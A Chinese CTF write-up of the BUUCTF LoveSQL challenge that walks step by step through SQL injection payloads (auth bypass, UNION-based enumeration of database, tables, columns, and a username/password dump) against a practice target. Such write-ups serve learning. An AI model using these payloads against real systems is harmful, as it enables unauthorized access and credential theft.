BUUCTF [极客大挑战 2019] LoveSQL

BUUCTF [极客大挑战 2019] LoveSQL

打开靶场,访问题目:
在这里插入图片描述
尝试登陆:
在这里插入图片描述
因为之前一题:BUUCTF 极客大挑战 2019 EasySQL使用了万能密码完成了注入,所以再次尝试:

xxx.buuoj.cn/check.php
?username=admin' or '1'='1
&password=1

得到了用户名和密码:
在这里插入图片描述
尝试密码md5解密失败,还是回到注入的思路上,查询字段数:

/check.php?username=admin' order by 3%23&password=1

在这里插入图片描述

当字段数为3时,页面回显正常,使用union查询回显点位:

/check.php
?username=1' union select 1,2,3%23
&password=1

在这里插入图片描述
得到回显点位为23,查询当前数据库名及版本:

/check.php
?username=1' union select 1,database(),version()%23
&password=1

在这里插入图片描述

得到当前数据库名为geek,数据库版本为10.3.18-MariaDB,查询表名:

/check.php
?username=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 %23
&password=1

在这里插入图片描述

通过修改limit的参数,得到表名为:geekuserl0ve1ysq1,查询第二个表中的列:

/check.php
?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' %23
&password=1

在这里插入图片描述
得到该表中有三列,查询usernamepassword列的内容:

/check.php
?username=1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from geek.l0ve1ysq1 %23
&password=1
// 将1和2通过~(十六进制形式)连接
// 类似:username~password
group_concat(concat_ws(0x7e,1,2))

在这里插入图片描述
在最后得到flag
在这里插入图片描述
在这里插入图片描述

完成对本题目的注入

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值